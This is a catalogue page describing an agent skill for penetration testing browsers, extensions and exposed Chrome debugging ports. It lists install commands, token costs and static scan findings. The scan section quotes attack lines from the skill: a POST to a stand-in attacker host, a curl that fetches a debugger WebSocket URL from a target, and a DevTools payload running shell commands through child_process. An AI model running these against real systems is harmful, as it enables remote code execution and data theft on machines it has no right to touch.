browser-exploitation

browser-exploitation is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 39 tokens per session (4,576 once invoked), scanned B, original, GPL-3.0.

A security testing guide for finding and exploiting weaknesses in browser extensions, Chrome debugging ports, and stored browser data on compromised computers.

In plain words
What is it for?
Authorized penetration testing of browser-based systems, extensions, and exposed Chrome debugging interfaces.
Why use it?
It helps identify browser attack paths that could let an attacker control browser activity or recover sensitive information.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Authorized penetration testing of browser-based systems, extensions, and exposed Chrome debugging interfaces.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/blacklanternsecurity/red-run/browser-exploitation
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add blacklanternsecurity/red-run --skill browser-exploitation
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for browser-exploitation

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/browser-exploitation.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/browser-exploitation)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/browser-exploitation"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/browser-exploitation.svg" alt="Measured on agentmods" height="20"></a>
Per session 39 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,576 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 4 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00039 $0.04576
Opus 5 $0.00019 $0.02288
Sonnet 5 $0.00008 $0.00915
Haiku 4.5 $0.00004 $0.00458

Measured 4d ago against content hash 944502f211a2, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade B, and why

browser-exploitation scanned grade B with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

WS_URL=$(curl -s http://TARGET:9229/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['webSocketDebuggerUrl'])")

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- curl

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"require(\"child_process\").execSync(\"id\").toString()"}}' \
skills/web/browser-exploitation/SKILL.md · 552 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 552 lines · 39 tokens per session scan B 944502f211a2

Subscribe to this mod's changes

browser-exploitation is a skill published in the GitHub repository blacklanternsecurity/red-run (267 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 39 tokens to every session and 4,576 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 4 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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